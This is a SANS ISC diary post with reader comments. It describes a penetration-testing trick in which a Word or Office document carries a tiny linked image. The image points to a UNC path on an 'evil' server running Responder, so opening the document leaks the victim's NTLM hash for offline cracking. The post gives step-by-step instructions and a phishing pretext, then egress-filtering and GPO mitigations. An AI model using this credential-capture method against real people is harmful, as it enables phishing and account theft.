Let's Trade: You Read My Email, I'll Read Your Password!

Published: 2018-09-04
Last Updated: 2018-09-04 20:47:31 UTC
by Rob VandenBrink (Version: 1)
7 comment(s)

It's been a while, but my last few posts have been on password spraying, which is great approach if your customer has an userid / password interface that faces the internet.  I also ran a walk-through on using responder and LLMNR.
But what if you are on the outside, and your customer is wise enough to front all of those interfaces with two-factor authentication, or mutual certificate authentication?  

A common approach is to use a "callback" in an office document (or similar).  Place a link in a document, something like a tiny image (even 1x1 pixel) image that points to a UNC path, to a share and file on your (evil) server.  

When a victim running Windows opens the file, the credentials and file hash are sent to your link.  If you can capture that, say for instance if you are running Responder, you now have their userid and password hash.  The password hash is normally quickly cracked using tools like hashcat or john the ripper.

How do you place a link like this?  In MS Word for instance:

  • Insert / Picture - point the link to  \\ip.of.your.evil.server\share\filename
  • This file does need to exist in curent versions of word - I tend to just change my laptop's IP temporarily for this step
  • Resize this file so that it's small enough to be missed as the client looks at the document.
  • Be sure to choose "insert and link" - this will force the graphic to update when you open the file.


When your victim / customer opens the file, they'll send their credentials (userid and password hash) to your server.  This shows that information being recveived in Responder:

Yup, it's that easy!  Does it work in Word?  Excel, Powerpoint, Publisher?  Yup, Yup, Yup!  (yup yup)!

How should an organization mitigate against such an attack?  First and foremost, implement an egress filter at any permiter firewalls!  Block outbound tcp/445 with extreme prejudice!  In fact, if you can, permit the protocols that you expect to see from the inside networks to the public internet, and then block everything else. (more on that here: https://isc.sans.edu/forums/diary/Egress+Filtering+What+do+we+have+a+bird+problem/18379/ )

So, how do you use this in a penetration test?  Simply create such a doc, then email it to an "approved victim".  Often I'll email a document to the pentest sponsor for instance - "please verify that this Statement of Work version is correct" makes a nice subject line :-)

All that being said - what does this demonstrate to your customer?  Several things come to mind:

  • After you crack the password hash, this makes a good demonstration of why NOT to use administrative credentials to check email
  • It demonstrates nicely that an egress filter is required
  • It demonstrates that anything protected by just a userid and password is not really well protected at all

Rob VandenBrink

7 comment(s)


Hi Rob,

thx for pointing to another steal NTLM via UNC possibility - see for example

[0] - via PDF/Shared Folder/Outlook
[1] - linked Image
[2] - IE/Edge or Office

The interesting (!=pentester) question is how to prevent this

a) restrict outgoing traffic to 445/tcp, 137/tcp, 139/tcp along with 137/udp and 139/udp
b) at least inspect outgoing traffic in educational/university environment (deep inspection tricks welcome)
c) On Windows machine deny (or at least restrict to known server) NTLM traffic to remote servers via GPO or local security policy - see [3]

Do I miss something?

thx and regards




And not only should they be doing egress filtering, they should be logging hits on those egress filters and even more importantly, hits on those egress filter should be landing on someone's security dashboard.

For instance, if I see an inside IP trying to do SMB/CIFS to the outside world, I'll try to obtain both the IP/hostname and if possible the full URI (I think snort will yield the full URI) and then search through recent email logs for that user looking for phishy looking emails containing attachments. That then leads to searching for other similar phish (source IP, source Host, subject line permutations, stuff in the message bodies, etc), which might yield different attachments, different URIs/IPs, which then sends me back to firewall logs (anyone else fall for similar phish using different URIs, etc).
Is there a similar way with NTLM authenticated web sites or am I remembering incorrectly to at least gather username/local domain name?
acbeko - yes, all great points. I have a story coming up on using GPO to help mitigate this on the victim's host. Mostly I want to make sure that I have a complete list of settings before I post it.

Forcing SMB signing helps on this front as well.
W60: Yes, you can also do this via web protocols. UNCs are such a "gimmme" though that I thought they deserved a story all on their own. Using UNC links in documents (either office docs, PDFs, or whatever format supports it) is pentest-101, but it's pt101 because it works so well and so often!
Brent - yes, anything that hits your egress filter should indicate a compromised host, an attack in progress or at least something you are trying to prevent.
The last line in your egress ACL should be "deny any any log" (or whatever the equivalent is on your firewall), and the log entries are a great source to help populate your "what security fires do I have to fight today" list
[quote=comment#41874]Brent - yes, anything that hits your egress filter should indicate a compromised host, an attack in progress or at least something you are trying to prevent.

I've run into a notable false positive for this. If a user saves a webpage to disk and then opens it later, the web browser attempts to retrieve images and scripts via WebDAV. On the firewall logs you see a spike of 445 traffic to external servers and on the endpoint you see a spike of commands for rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie <servername> <url>
Ex: rundll32.exe C:\WINDOWS\system32\davclnt.dll,DavSetCookie imasdk.googleapis.com http://imasdk.googleapis.com/js/sdkloader/ima3.js

Diary Archives